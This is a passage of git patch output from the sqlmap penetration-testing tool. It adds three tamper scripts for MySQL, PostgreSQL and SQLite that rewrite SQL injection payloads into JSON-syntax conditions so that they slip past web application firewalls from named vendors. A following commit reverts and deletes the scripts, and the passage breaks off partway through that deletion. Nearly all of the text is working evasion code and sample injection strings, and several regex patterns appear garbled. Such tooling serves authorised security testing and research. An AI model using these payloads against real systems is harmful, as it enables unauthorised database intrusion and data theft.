+        payload += generate_str_payload()[:-1] # Do not use the last ' because the application will add it.
+    else:
+        payload += generate_int_payload()
+
+    return payload
+
+
+def generate_random_payload():
+    if random.randint(0,1):
+        return generate_str_payload()
+    return generate_int_payload()
+
+def tamper(payload, **kwargs):
+    """
+        
+    Bypasses generic WAFs using JSON SQL Syntax.
+    For more details about JSON in MySQL - https://dev.mysql.com/doc/refman/5.7/en/json-function-reference.html
+
+    Tested against:
+        * MySQL v8.0 - however every version after v5.7.8 should work
+
+    Usage:
+        python3 sqlmap.py  --tamper json_waf_bypass_mysql.py
+
+    Notes:
+        * References: 
+            * https://claroty.com/team82/research/js-on-security-off-abusing-json-based-sql-to-bypass-waf 
+            * https://www.blackhat.com/eu-22/briefings/schedule/#js-on-security-off-abusing-json-based-sql-queries-28774
+        * Usefull for bypassing any JSON-unaware WAFs with minor-to-no adjusments
+        * JSON techniques were tested againts the following WAF vendors:
+            * Amazon AWS ELB
+            * CloudFlare
+            * F5 BIG-IP
+            * Palo-Alto Next Generation Firewall
+            * Imperva Firewall
+
+        * This script alters the SQLi payload by replacing the condition statement with JSON-specific payloads,
+          depending on the SQLi type. Here is a list of supported payload types: (int/string depends on the condition check type)
+
+        Possible int payloads:
+            1) JSON_LENGTH()
+            2) json_depth
+            3) JSON_EXTRACT()
+
+        Possible STR payloads:
+            1) SELECT JSON_KEYS('{"a": 1, "b": {"c": 30}}');
+            2) JSON_EXTRACT
+            3) JSON_QUOTE('null')
+
+    >>> tamper("' and 5626=9709 and 'kqkk'='kqkk")
+    ''' ' and 5626=9709  and JSON_EXTRACT('{"ilDQUNfX": "KuIjjFkFsok"}', '$.ilDQUNfX') = 'KuIjjFkFsok '''
+    >>> tamper('and 4515=8950--')
+    '''  and JSON_EXTRACT("{\"CoGqzQjy\": 3825}", "$.CoGqzQjy") = "3825" '''
+    """
+
+    payload = payload.replace(r'%20', " ")
+    #
+    retVal = payload
+
+    if payload:
+        match = re.search(pattern, payload)
+
+        if match:
+            pre = match.group('pre')
+
+            # Is our payload is a string.
+            isString = pre.startswith("'")
+            isBrackets = pre.startswith("')") or pre.startswith(")")
+            wafPayload = generate_payload(isString=isString, isBrackets=isBrackets)
+            retVal = f"{match.group('pre')} {match.group('relation')} {wafPayload}{match.group('post')}"
+
+        else:
+
+            if payload.lower().startswith("' union"):
+                wafPayload = generate_random_payload()
+
+                retVal = f"' and {wafPayload} {payload[1:]}" # replace ' union select... with ' and FALSE_WAF_BYPASS union select...
+
+    return retVal
+
diff --git a/tamper/json_waf_bypass_postgres.py b/tamper/json_waf_bypass_postgres.py
new file mode 100644
index 00000000000..bc368ebfd52
--- /dev/null
+++ b/tamper/json_waf_bypass_postgres.py
@@ -0,0 +1,237 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+See the file 'LICENSE' for copying permission
+"""
+
+# Patterns breaks down SQLi payload into different components, and replaces the logical comparison.
+pattern = r"(?i)(?P
.*)\s*\b(?PAND|OR)\b\s*(?P\(?\'.*?(?=|=|like)(?P\(?\'.*?(?.*)"
+pattern_extract_value = r"(?i)(?P
.*)\s*\b(?PAND|OR)\b\s*(?PEXTRACTVALUE.*)"
+pattern_when_where = r"(?i)(?P
.*)\s*\b(?PWHERE|WHEN)\b\s*(?P.*)"
+pattern_replace_case = r"(?i)(?P\(select.*when\s*\((?P.*?)=(?P.*?)\).*?then\s*(?P\(.*?\))\s*else\s*(?P\(.*?\)).*?end\)\))"
+import re, random, string
+
+from lib.core.enums import PRIORITY
+
+__priority__ = PRIORITY.HIGHEST
+
+
+def dependencies():
+    pass
+
+
+# Possible int payloads:
+# 1) #>>
+# 2) @>
+# 3) ->> (index)
+# 4) ->> (str)
+
+def generate_int_payload():
+    INT_FUNCTIONS = [generate_element_by_id_int_payload, generate_element_by_key_int_payload, generate_element_by_hashtag_int_payload, generate_json_left_contains_payload]
+    return (random.choice(INT_FUNCTIONS))()
+
+
+# Possible str payloads:
+# 1) ->> (str)
+# 2) ->> (index)
+# 3) #>>
+
+
+def generate_str_payload():
+    STR_FUNCTIONS = [generate_element_by_id_str_payload,generate_element_by_key_str_payload, generate_element_by_hashtag_str_payload]
+    return (random.choice(STR_FUNCTIONS))()
+
+
+def generate_random_string(length=15):
+    str_length = random.randint(1,length)
+    return "".join(random.choice(string.ascii_letters) for i in range(str_length))
+
+
+def generate_random_int():
+    return random.randint(2, 10000)
+
+
+def generate_element_by_id_payload(isString):
+    random_generator = generate_random_string if isString else generate_random_int
+    values = []
+    for i in range(3):
+        values.append(random_generator())
+    random_index = random.randint(0,2)
+    if isString:
+        return f'\'["{values[0]}", "{values[1]}", "{values[2]}"]\'::jsonb->>{random_index} = \'{values[random_index]}\''
+    return f"(\'[{values[0]}, {values[1]}, {values[2]}]\'::jsonb->>{random_index})::int8 = {values[random_index]}"
+
+
+def generate_element_by_id_int_payload():
+    return generate_element_by_id_payload(isString=False)
+
+
+def generate_element_by_id_str_payload():
+    return generate_element_by_id_payload(isString=True)
+
+
+def generate_element_by_key_payload(isString):
+    random_generator = generate_random_string if isString else generate_random_int
+    keys = []
+    values = []
+    for i in range(3):
+        keys.append(generate_random_string())  # Json must always have a string as a value
+        values.append(random_generator())
+    random_index = random.randint(0, 2)
+    if isString:
+        return f"'{{\"{keys[0]}\" : \"{values[0]}\", \"{keys[1]}\" : \"{values[1]}\", \"{keys[2]}\" : \"{values[2]}\"}}'::jsonb->>'{keys[random_index]}' = '{values[random_index]}'"
+    return f"('{{\"{keys[0]}\" : {values[0]}, \"{keys[1]}\" : {values[1]}, \"{keys[2]}\" : {values[2]}}}'::jsonb->>'{keys[random_index]}')::int8 = {values[random_index]}"
+
+
+def generate_element_by_key_int_payload():
+    return generate_element_by_key_payload(isString=False)
+
+
+def generate_element_by_key_str_payload():
+    return generate_element_by_key_payload(isString=True)
+
+
+def generate_element_by_hashtag_payload(isString):
+    random_generator = generate_random_string if isString else generate_random_int
+    keys = []
+    values = []
+    for i in range(3):
+        keys.append(generate_random_string())  # Json must always have a string as a value
+        values.append(random_generator())
+    random_index = random.randint(0, 2)
+    if isString:
+        return f"'{{\"{keys[0]}\" : \"{values[0]}\", \"{keys[1]}\" : \"{values[1]}\", \"{keys[2]}\" : \"{values[2]}\"}}'::jsonb%23>>'{{{keys[random_index]}}}' = '{values[random_index]}'"
+    return f"('{{\"{keys[0]}\" : {values[0]}, \"{keys[1]}\" : {values[1]}, \"{keys[2]}\" : {values[2]}}}'::jsonb%23>>'{{{keys[random_index]}}}')::int8 = {values[random_index]}"
+
+
+def generate_element_by_hashtag_int_payload():
+    return generate_element_by_hashtag_payload(isString=False)
+
+
+def generate_element_by_hashtag_str_payload():
+    return generate_element_by_hashtag_payload(isString=True)
+
+
+def generate_json_left_contains_payload():
+    keys = []
+    values = []
+    for i in range(3):
+        keys.append(generate_random_string())  # Json must always have a string as a value
+        values.append(generate_random_int())
+    random_index = random.randint(0, 2)
+    return f"'{{\"{keys[0]}\" : {values[0]}, \"{keys[1]}\" : {values[1]}, \"{keys[2]}\" : {values[2]}}}'::jsonb @> '{{\"{keys[random_index]}\": {values[random_index]}}}'"
+
+
+def generate_payload(isString, isBrackets):
+    payload = '(' if isBrackets else ""
+    if isString:
+        payload += generate_str_payload()[:-1]  # Do not use the last ' because the application will add it.
+    else:
+        payload += generate_int_payload()
+
+    return payload
+
+
+def generate_random_payload():
+    if random.randint(0,1):
+        return generate_str_payload()
+    return generate_int_payload()
+
+def tamper(payload, **kwargs):
+    """
+    
+    Bypasses generic WAFs using JSON SQL Syntax.
+
+    For more details about JSON in PostgreSQL - https://www.postgresql.org/docs/9.3/functions-json.html
+
+    Tested against:
+        * PostgreSQL v15.0 - however every version after v9.2 should work
+
+    Usage:
+        python3 sqlmap.py  --tamper json_waf_bypass_postgres.py
+
+    Notes:
+
+        * References: 
+            * https://claroty.com/team82/research/js-on-security-off-abusing-json-based-sql-to-bypass-waf 
+            * https://www.blackhat.com/eu-22/briefings/schedule/#js-on-security-off-abusing-json-based-sql-queries-28774
+        * Usefull for bypassing any JSON-unaware WAFs with minor-to-no adjusments
+        * JSON techniques were tested againts the following WAF vendors:
+            * Amazon AWS ELB
+            * CloudFlare
+            * F5 BIG-IP
+            * Palo-Alto Next Generation Firewall
+            * Imperva Firewall
+
+        * This script alters the SQLi payload by replacing the condition statement with JSON-specific payloads,
+          depending on the SQLi type. Here is a list of supported payload types: (int/string depends on the condition check type)
+
+        Possible int payloads:
+            1) #>>
+            2) @>
+            3) ->> (index)
+            4) ->> (str)
+
+        Possible str payloads:
+            1) ->> (str)
+            2) ->> (index)
+            3) #>>
+
+    >>> tamper("' and 5626=9709 and 'kqkk'='kqkk")
+    ''' ' and 5626=9709  and '["cyelIKsSqxw", "TjFXJ", "p"]'::jsonb->>1 = 'TjFXJ '''
+    >>> tamper('and 4515=8950')
+    '''  and ('{"znxqmFaPSFPHbL" : 9783, "thtt" : 3922, "EhFySUTUc" : 2490}'::jsonb%23>>'{thtt}')::int8 = 3922 '''
+    """
+    payload = payload.replace(r'%20', " ")  # Fix regex for later
+    payload = payload.lower().replace("union all", "union")  # Replace union all with union in order to bypass many common WAFs
+    bad_string_match = re.search(r"(from \(select \d+)", payload)  # Replaces suffix identified by many WAFs
+
+    if bad_string_match:
+        payload = payload[:payload.find(bad_string_match.group(1))] + f"--{generate_random_string()} "
+
+    retVal = payload
+
+    if payload:
+
+        match = re.search(pattern, payload)
+
+        if match:
+            pre = match.group('pre')
+            # Is our payload a string.
+            isString = pre.startswith("'")
+            isBrackets = pre.startswith("')") or pre.startswith(")")
+            wafPayload = generate_payload(isString=isString, isBrackets=isBrackets)
+            retVal = f"{match.group('pre')} {match.group('relation')} {wafPayload}{match.group('post')}"
+
+        elif payload.lower().startswith("' union"):  # Increase evasiveness in union payloads
+            wafPayload = generate_random_payload()
+            retVal = f"' and {wafPayload} {payload[1:]}"  # replace ' union select... with ' and FALSE_WAF_BYPASS union select...
+
+        else:
+            extract_value_match = re.search(pattern_extract_value, payload)
+
+            if extract_value_match:  # Replaces extractvalue because many WAFs target it
+                wafPayload = generate_random_payload()
+                retVal = f"{extract_value_match.group('pre')} {extract_value_match.group('relation')} {wafPayload} {extract_value_match.group('relation')} {extract_value_match.group('extractValueRest')}"
+
+            else:
+                condition_match = re.match(pattern_when_where, payload)
+
+                if condition_match:  # Replaces when/where payloads with regular payloads because many WAFs target this keywords
+                    wafPayload = generate_random_payload()
+                    retVal = f"{condition_match.group('pre')} {condition_match.group('condition')} {wafPayload} and {condition_match.group('rest')}"
+
+        case_match = re.search(pattern_replace_case, retVal)
+
+        if case_match:  # Replaces case statements because many WAFs target this syntax
+
+            # Check if the case statement expects the left or right option
+            if case_match.group("leftComp") == case_match.group("rightComp"):
+                retVal = retVal.replace(case_match.group('all'), case_match.group('firstCase'))
+
+            else:
+                retVal = retVal.replace(case_match.group('all'), case_match.group('secondCase'))
+
+    return retVal
+
diff --git a/tamper/json_waf_bypass_sqlite.py b/tamper/json_waf_bypass_sqlite.py
new file mode 100644
index 00000000000..ce0c4507e57
--- /dev/null
+++ b/tamper/json_waf_bypass_sqlite.py
@@ -0,0 +1,178 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+See the file 'LICENSE' for copying permission
+"""
+
+# Patterns breaks down SQLi payload into different components, and replaces the logical comparison.
+pattern = r"(?i)(?P
.*)\s*\b(?PAND|OR)\b\s*(?P\(?\'.*?(?=|=|like)(?P\(?\'.*?(?.*)"
+import re, random, string
+
+from lib.core.enums import PRIORITY
+
+__priority__ = PRIORITY.HIGHEST
+DEBUG = False
+
+
+def dependencies():
+	pass
+
+
+# Possible int payloads:
+# 1) JSON_LENGTH()
+# 2) json_depth
+# 3) JSON_EXTRACT()
+# 3) JSON_EXTRACT operator
+
+def generate_int_payload():
+	INT_FUNCTIONS = [generate_length_payload, generate_int_extract_payload, generate_int_extract_operator_payload]
+	return (random.choice(INT_FUNCTIONS))()
+
+
+# Possible STR payloads:
+# 2) JSON_EXTRACT
+# 2) JSON_EXTRACT Operator
+# 3) JSON_QUOTE('null')
+
+def generate_str_payload():
+	STR_FUNCTIONS = [generate_str_extract_payload, generate_quote_payload, generate_str_extract_operator_payload]
+	return (random.choice(STR_FUNCTIONS))()
+
+
+def generate_random_string(length=15):
+	str_length = random.randint(1, length)
+	return "".join(random.choice(string.ascii_letters) for i in range(str_length))
+
+
+def generate_random_int():
+	return random.randint(2, 10000)
+
+
+def generate_length_payload():
+	rand_int = generate_random_int()
+	return f"JSON_ARRAY_LENGTH(\"[]\") <= {generate_random_int()}"
+
+
+def generate_quote_payload():
+	var = generate_random_string()
+	return f"JSON_QUOTE('{var}') = '\"{var}\"'"
+
+
+def generate_int_extract_payload():
+	return generate_extract_payload(isString=False)
+
+
+def generate_str_extract_payload():
+	return generate_extract_payload(isString=True)
+
+
+def generate_int_extract_operator_payload():
+	return generate_extract_operator_payload(isString=False)
+
+
+def generate_str_extract_operator_payload():
+	return generate_extract_operator_payload(isString=True)
+
+
+def generate_extract_payload(isString=False):
+	key = generate_random_string()
+	if isString:
+		value = generate_random_string()
+		return f'JSON_EXTRACT(\'{{"{key}": "{value}"}}\', \'$.{key}\') = \'{value}\''
+	value = generate_random_int()
+	return f'JSON_EXTRACT("{{""{key}"": {value}}}", "$.{key}") = {value}'
+
+
+def generate_extract_operator_payload(isString=False):
+
+	key = generate_random_string()
+	if isString:
+		value = generate_random_string()
+		return f'\'{{"{key}": "{value}"}}\'->> \'$.{key}\' = \'{value}\''
+	value = generate_random_int()
+	return f'"{{""{key}"": {value}}}" ->> "$.{key}" = {value}'
+
+
+def generate_payload(isString, isBrackets):
+	payload = '(' if isBrackets else ""
+	if isString:
+		payload += generate_str_payload()[:-1]  # Do not use the last ' because the application will add it.
+	else:
+		payload += generate_int_payload()
+
+	return payload
+
+
+def generate_random_payload():
+	if random.randint(0, 1):
+		return generate_str_payload()
+	return generate_int_payload()
+
+
+def tamper(payload, **kwargs):
+	"""
+        
+    Bypasses generic WAFs using JSON SQL Syntax. 
+
+    For more details about JSON in SQLite - https://www.sqlite.org/json1.html
+
+    Tested against:
+        * SQLite v3.39.4 - however every version after v3.38.0 should work
+
+    Usage:
+        python3 sqlmap.py  --tamper json_waf_bypass_sqlite.py
+
+    Notes:
+
+    	* References: 
+            * https://claroty.com/team82/research/js-on-security-off-abusing-json-based-sql-to-bypass-waf 
+            * https://www.blackhat.com/eu-22/briefings/schedule/#js-on-security-off-abusing-json-based-sql-queries-28774
+        * Usefull for bypassing any JSON-unaware WAFs with minor-to-no adjusments
+        * JSON techniques were tested againts the following WAF vendors:
+            * Amazon AWS ELB
+            * CloudFlare
+            * F5 BIG-IP
+            * Palo-Alto Next Generation Firewall
+            * Imperva Firewall
+
+        * This script alters the SQLi payload by replacing the condition statement with JSON-specific payloads,
+          depending on the SQLi type. Here is a list of supported payload types: (int/string depends on the condition check type)
+
+        Possible int payloads:
+			1) JSON_LENGTH()
+			2) json_depth
+			3) JSON_EXTRACT()
+			3) JSON_EXTRACT operator
+
+        Possible STR payloads:
+			2) JSON_EXTRACT
+			2) JSON_EXTRACT Operator
+			3) JSON_QUOTE('null')
+
+    >>> tamper("' and 5626=9709 and 'kqkk'='kqkk")
+    ''' ' and 5626=9709  and JSON_QUOTE('UG') = '"UG" '''
+    >>> tamper('and 4515=8950')
+    '''  and JSON_ARRAY_LENGTH("[]") <= 9100 '''
+    """
+	retVal = payload
+
+	if payload:
+		match = re.search(pattern, payload)
+
+		if match:
+			pre = match.group('pre')
+
+			# Is our payload is a string.
+			isString = pre.startswith("'")
+			isBrackets = pre.startswith("')") or pre.startswith(")")
+			wafPayload = generate_payload(isString=isString, isBrackets=isBrackets)
+			retVal = f"{match.group('pre')} {match.group('relation')} {wafPayload}{match.group('post')}"
+
+		else:
+
+			if payload.lower().startswith("' union"):
+				wafPayload = generate_random_payload()
+				retVal = f"' and {wafPayload} {payload[1:]}"  # replace ' union select... with ' and FALSE_WAF_BYPASS union select...
+
+	return retVal

From 5592f55cae43bb86de8eace3b2c425e69c5348f0 Mon Sep 17 00:00:00 2001
From: Miroslav Stampar 
Date: Fri, 23 Dec 2022 15:59:12 +0100
Subject: [PATCH 095/599] Revert "JSON WAF bypass tamper scripts (#5260)"
 (#5273)

This reverts commit 12e3ed14ae310608293aadeeff53760366bc3556.
---
 doc/THANKS.md                      |   3 -
 tamper/json_waf_bypass_mysql.py    | 163 --------------------
 tamper/json_waf_bypass_postgres.py | 237 -----------------------------
 tamper/json_waf_bypass_sqlite.py   | 178 ----------------------
 4 files changed, 581 deletions(-)
 delete mode 100644 tamper/json_waf_bypass_mysql.py
 delete mode 100644 tamper/json_waf_bypass_postgres.py
 delete mode 100644 tamper/json_waf_bypass_sqlite.py

diff --git a/doc/THANKS.md b/doc/THANKS.md
index fdbabaf574f..dc49071a915 100644
--- a/doc/THANKS.md
+++ b/doc/THANKS.md
@@ -789,9 +789,6 @@ x, 
 zhouhx, 
 * for contributing a minor patch
 
-Noam Moshe Claroty Team82
-* for contributing WAF scripts json_waf_bypass_postgres.py, json_waf_bypass_sqlite.py, json_waf_bypass_mysql.py
-
 # Organizations
 
 Black Hat team, 
diff --git a/tamper/json_waf_bypass_mysql.py b/tamper/json_waf_bypass_mysql.py
deleted file mode 100644
index e2b15d4dc13..00000000000
--- a/tamper/json_waf_bypass_mysql.py
+++ /dev/null
@@ -1,163 +0,0 @@
-#!/usr/bin/env python
-
-"""
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
-See the file 'LICENSE' for copying permission
-"""
-
-# Patterns breaks down SQLi payload into different compontets, and replaces the logical comparison.
-pattern = r"(?i)(?P
.*)\s*\b(?PAND|OR)\b\s*(?P\(?\'.*?(?=|=|like)(?P\(?\'.*?(?.*)"
-import re, random, string
-
-from lib.core.enums import PRIORITY
-
-__priority__ = PRIORITY.HIGHEST
-
-def dependencies():
-    pass
-
-
-
-# Possible int payloads:
-# 1) JSON_LENGTH()
-# 2) json_depth
-# 3) JSON_EXTRACT()
-
-def generate_int_payload():
-    INT_FUNCTIONS = [generate_length_payload, generate_depth_paylod, generate_int_extract_payload]
-    return (random.choice(INT_FUNCTIONS))()
-
-
-# Possible STR payloads:
-# 1) SELECT JSON_KEYS('{"a": 1, "b": {"c": 30}}');
-# 2) JSON_EXTRACT
-# 3) JSON_QUOTE('null')
-
-def generate_str_payload():
-    print("generate_str_payload")
-    STR_FUNCTIONS = [generate_str_extract_payload, generate_quote_payload]
-    return (random.choice(STR_FUNCTIONS))()
-    return 'JSON_EXTRACT(\'{"a": "1"}\', \'$.a\') = \'1\''
-
-
-def generate_random_string(length=15):
-    str_length = random.randint(1,length)
-    return "".join(random.choice(string.ascii_letters) for i in range(str_length))
-
-def generate_random_int():
-    return random.randint(2, 10000)
-
-
-def generate_length_payload():
-    return f"JSON_LENGTH(\"{{}}\") <= {generate_random_int()}"
-
-
-def generate_depth_paylod():
-    return f"JSON_DEPTH(\"{{}}\") != {generate_random_int()}"
-
-
-def generate_quote_payload():
-    var = generate_random_string()
-    return f"JSON_QUOTE('{var}') = '\"{var}\"'"
-
-
-def generate_int_extract_payload():
-    return generate_extract_payload(isString=False)
-
-
-def generate_str_extract_payload():
-    return generate_extract_payload(isString=True)
-
-
-def generate_extract_payload(isString=False):
-    key = generate_random_string()
-    if isString:
-        value = generate_random_string()
-        return f'JSON_EXTRACT(\'{{"{key}": "{value}"}}\', \'$.{key}\') = \'{value}\''
-    value = generate_random_int()
-    return f'JSON_EXTRACT("{{\\"{key}\\": {value}}}", "$.{key}") = "{value}"'
-
-
-def generate_payload(isString, isBrackets):
-    payload = '(' if isBrackets else ""
-    if isString:
-        payload += generate_str_payload()[:-1] # Do not use the last ' because the application will add it.
-    else:
-        payload += generate_int_payload()
-
-    return payload
-
-
-def generate_random_payload():
-    if random.randint(0,1):
-        return generate_str_payload()
-    return generate_int_payload()
-
-def tamper(payload, **kwargs):
-    """
-        
-    Bypasses generic WAFs using JSON SQL Syntax.
-    For more details about JSON in MySQL - https://dev.mysql.com/doc/refman/5.7/en/json-function-reference.html
-
-    Tested against:
-        * MySQL v8.0 - however every version after v5.7.8 should work
-
-    Usage:
-        python3 sqlmap.py  --tamper json_waf_bypass_mysql.py
-
-    Notes:
-        * References: 
-            * https://claroty.com/team82/research/js-on-security-off-abusing-json-based-sql-to-bypass-waf 
-            * https://www.blackhat.com/eu-22/briefings/schedule/#js-on-security-off-abusing-json-based-sql-queries-28774
-        * Usefull for bypassing any JSON-unaware WAFs with minor-to-no adjusments
-        * JSON techniques were tested againts the following WAF vendors:
-            * Amazon AWS ELB
-            * CloudFlare
-            * F5 BIG-IP
-            * Palo-Alto Next Generation Firewall
-            * Imperva Firewall
-
-        * This script alters the SQLi payload by replacing the condition statement with JSON-specific payloads,
-          depending on the SQLi type. Here is a list of supported payload types: (int/string depends on the condition check type)
-
-        Possible int payloads:
-            1) JSON_LENGTH()
-            2) json_depth
-            3) JSON_EXTRACT()
-
-        Possible STR payloads:
-            1) SELECT JSON_KEYS('{"a": 1, "b": {"c": 30}}');
-            2) JSON_EXTRACT
-            3) JSON_QUOTE('null')
-
-    >>> tamper("' and 5626=9709 and 'kqkk'='kqkk")
-    ''' ' and 5626=9709  and JSON_EXTRACT('{"ilDQUNfX": "KuIjjFkFsok"}', '$.ilDQUNfX') = 'KuIjjFkFsok '''
-    >>> tamper('and 4515=8950--')
-    '''  and JSON_EXTRACT("{\"CoGqzQjy\": 3825}", "$.CoGqzQjy") = "3825" '''
-    """
-
-    payload = payload.replace(r'%20', " ")
-    #
-    retVal = payload
-
-    if payload:
-        match = re.search(pattern, payload)
-
-        if match:
-            pre = match.group('pre')
-
-            # Is our payload is a string.
-            isString = pre.startswith("'")
-            isBrackets = pre.startswith("')") or pre.startswith(")")
-            wafPayload = generate_payload(isString=isString, isBrackets=isBrackets)
-            retVal = f"{match.group('pre')} {match.group('relation')} {wafPayload}{match.group('post')}"
-
-        else:
-
-            if payload.lower().startswith("' union"):
-                wafPayload = generate_random_payload()
-
-                retVal = f"' and {wafPayload} {payload[1:]}" # replace ' union select... with ' and FALSE_WAF_BYPASS union select...
-
-    return retVal
-
diff --git a/tamper/json_waf_bypass_postgres.py b/tamper/json_waf_bypass_postgres.py
deleted file mode 100644
index bc368ebfd52..00000000000
--- a/tamper/json_waf_bypass_postgres.py
+++ /dev/null
@@ -1,237 +0,0 @@
-#!/usr/bin/env python
-
-"""
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
-See the file 'LICENSE' for copying permission
-"""
-
-# Patterns breaks down SQLi payload into different components, and replaces the logical comparison.
-pattern = r"(?i)(?P
.*)\s*\b(?PAND|OR)\b\s*(?P\(?\'.*?(?=|=|like)(?P\(?\'.*?(?.*)"
-pattern_extract_value = r"(?i)(?P
.*)\s*\b(?PAND|OR)\b\s*(?PEXTRACTVALUE.*)"
-pattern_when_where = r"(?i)(?P
.*)\s*\b(?PWHERE|WHEN)\b\s*(?P.*)"
-pattern_replace_case = r"(?i)(?P\(select.*when\s*\((?P.*?)=(?P.*?)\).*?then\s*(?P\(.*?\))\s*else\s*(?P\(.*?\)).*?end\)\))"
-import re, random, string
-
-from lib.core.enums import PRIORITY
-
-__priority__ = PRIORITY.HIGHEST
-
-
-def dependencies():
-    pass
-
-
-# Possible int payloads:
-# 1) #>>
-# 2) @>
-# 3) ->> (index)
-# 4) ->> (str)
-
-def generate_int_payload():
-    INT_FUNCTIONS = [generate_element_by_id_int_payload, generate_element_by_key_int_payload, generate_element_by_hashtag_int_payload, generate_json_left_contains_payload]
-    return (random.choice(INT_FUNCTIONS))()
-
-
-# Possible str payloads:
-# 1) ->> (str)
-# 2) ->> (index)
-# 3) #>>
-
-
-def generate_str_payload():
-    STR_FUNCTIONS = [generate_element_by_id_str_payload,generate_element_by_key_str_payload, generate_element_by_hashtag_str_payload]
-    return (random.choice(STR_FUNCTIONS))()
-
-
-def generate_random_string(length=15):
-    str_length = random.randint(1,length)
-    return "".join(random.choice(string.ascii_letters) for i in range(str_length))
-
-
-def generate_random_int():
-    return random.randint(2, 10000)
-
-
-def generate_element_by_id_payload(isString):
-    random_generator = generate_random_string if isString else generate_random_int
-    values = []
-    for i in range(3):
-        values.append(random_generator())
-    random_index = random.randint(0,2)
-    if isString:
-        return f'\'["{values[0]}", "{values[1]}", "{values[2]}"]\'::jsonb->>{random_index} = \'{values[random_index]}\''
-    return f"(\'[{values[0]}, {values[1]}, {values[2]}]\'::jsonb->>{random_index})::int8 = {values[random_index]}"
-
-
-def generate_element_by_id_int_payload():
-    return generate_element_by_id_payload(isString=False)
-
-
-def generate_element_by_id_str_payload():
-    return generate_element_by_id_payload(isString=True)
-
-
-def generate_element_by_key_payload(isString):
-    random_generator = generate_random_string if isString else generate_random_int
-    keys = []
-    values = []
-    for i in range(3):
-        keys.append(generate_random_string())  # Json must always have a string as a value
-        values.append(random_generator())
-    random_index = random.randint(0, 2)
-    if isString:
-        return f"'{{\"{keys[0]}\" : \"{values[0]}\", \"{keys[1]}\" : \"{values[1]}\", \"{keys[2]}\" : \"{values[2]}\"}}'::jsonb->>'{keys[random_index]}' = '{values[random_index]}'"
-    return f"('{{\"{keys[0]}\" : {values[0]}, \"{keys[1]}\" : {values[1]}, \"{keys[2]}\" : {values[2]}}}'::jsonb->>'{keys[random_index]}')::int8 = {values[random_index]}"
-
-
-def generate_element_by_key_int_payload():
-    return generate_element_by_key_payload(isString=False)
-
-
-def generate_element_by_key_str_payload():
-    return generate_element_by_key_payload(isString=True)
-
-
-def generate_element_by_hashtag_payload(isString):
-    random_generator = generate_random_string if isString else generate_random_int
-    keys = []
-    values = []
-    for i in range(3):
-        keys.append(generate_random_string())  # Json must always have a string as a value
-        values.append(random_generator())
-    random_index = random.randint(0, 2)
-    if isString:
-        return f"'{{\"{keys[0]}\" : \"{values[0]}\", \"{keys[1]}\" : \"{values[1]}\", \"{keys[2]}\" : \"{values[2]}\"}}'::jsonb%23>>'{{{keys[random_index]}}}' = '{values[random_index]}'"
-    return f"('{{\"{keys[0]}\" : {values[0]}, \"{keys[1]}\" : {values[1]}, \"{keys[2]}\" : {values[2]}}}'::jsonb%23>>'{{{keys[random_index]}}}')::int8 = {values[random_index]}"
-
-
-def generate_element_by_hashtag_int_payload():
-    return generate_element_by_hashtag_payload(isString=False)
-
-
-def generate_element_by_hashtag_str_payload():
-    return generate_element_by_hashtag_payload(isString=True)
-
-
-def generate_json_left_contains_payload():
-    keys = []
-    values = []
-    for i in range(3):
-        keys.append(generate_random_string())  # Json must always have a string as a value
-        values.append(generate_random_int())
-    random_index = random.randint(0, 2)
-    return f"'{{\"{keys[0]}\" : {values[0]}, \"{keys[1]}\" : {values[1]}, \"{keys[2]}\" : {values[2]}}}'::jsonb @> '{{\"{keys[random_index]}\": {values[random_index]}}}'"
-
-
-def generate_payload(isString, isBrackets):
-    payload = '(' if isBrackets else ""
-    if isString:
-        payload += generate_str_payload()[:-1]  # Do not use the last ' because the application will add it.
-    else:
-        payload += generate_int_payload()
-
-    return payload
-
-
-def generate_random_payload():
-    if random.randint(0,1):
-        return generate_str_payload()
-    return generate_int_payload()
-
-def tamper(payload, **kwargs):
-    """
-    
-    Bypasses generic WAFs using JSON SQL Syntax.
-
-    For more details about JSON in PostgreSQL - https://www.postgresql.org/docs/9.3/functions-json.html
-
-    Tested against:
-        * PostgreSQL v15.0 - however every version after v9.2 should work
-
-    Usage:
-        python3 sqlmap.py  --tamper json_waf_bypass_postgres.py
-
-    Notes:
-
-        * References: 
-            * https://claroty.com/team82/research/js-on-security-off-abusing-json-based-sql-to-bypass-waf 
-            * https://www.blackhat.com/eu-22/briefings/schedule/#js-on-security-off-abusing-json-based-sql-queries-28774
-        * Usefull for bypassing any JSON-unaware WAFs with minor-to-no adjusments
-        * JSON techniques were tested againts the following WAF vendors:
-            * Amazon AWS ELB
-            * CloudFlare
-            * F5 BIG-IP
-            * Palo-Alto Next Generation Firewall
-            * Imperva Firewall
-
-        * This script alters the SQLi payload by replacing the condition statement with JSON-specific payloads,
-          depending on the SQLi type. Here is a list of supported payload types: (int/string depends on the condition check type)
-
-        Possible int payloads:
-            1) #>>
-            2) @>
-            3) ->> (index)
-            4) ->> (str)
-
-        Possible str payloads:
-            1) ->> (str)
-            2) ->> (index)
-            3) #>>
-
-    >>> tamper("' and 5626=9709 and 'kqkk'='kqkk")
-    ''' ' and 5626=9709  and '["cyelIKsSqxw", "TjFXJ", "p"]'::jsonb->>1 = 'TjFXJ '''
-    >>> tamper('and 4515=8950')
-    '''  and ('{"znxqmFaPSFPHbL" : 9783, "thtt" : 3922, "EhFySUTUc" : 2490}'::jsonb%23>>'{thtt}')::int8 = 3922 '''
-    """
-    payload = payload.replace(r'%20', " ")  # Fix regex for later
-    payload = payload.lower().replace("union all", "union")  # Replace union all with union in order to bypass many common WAFs
-    bad_string_match = re.search(r"(from \(select \d+)", payload)  # Replaces suffix identified by many WAFs
-
-    if bad_string_match:
-        payload = payload[:payload.find(bad_string_match.group(1))] + f"--{generate_random_string()} "
-
-    retVal = payload
-
-    if payload:
-
-        match = re.search(pattern, payload)
-
-        if match:
-            pre = match.group('pre')
-            # Is our payload a string.
-            isString = pre.startswith("'")
-            isBrackets = pre.startswith("')") or pre.startswith(")")
-            wafPayload = generate_payload(isString=isString, isBrackets=isBrackets)
-            retVal = f"{match.group('pre')} {match.group('relation')} {wafPayload}{match.group('post')}"
-
-        elif payload.lower().startswith("' union"):  # Increase evasiveness in union payloads
-            wafPayload = generate_random_payload()
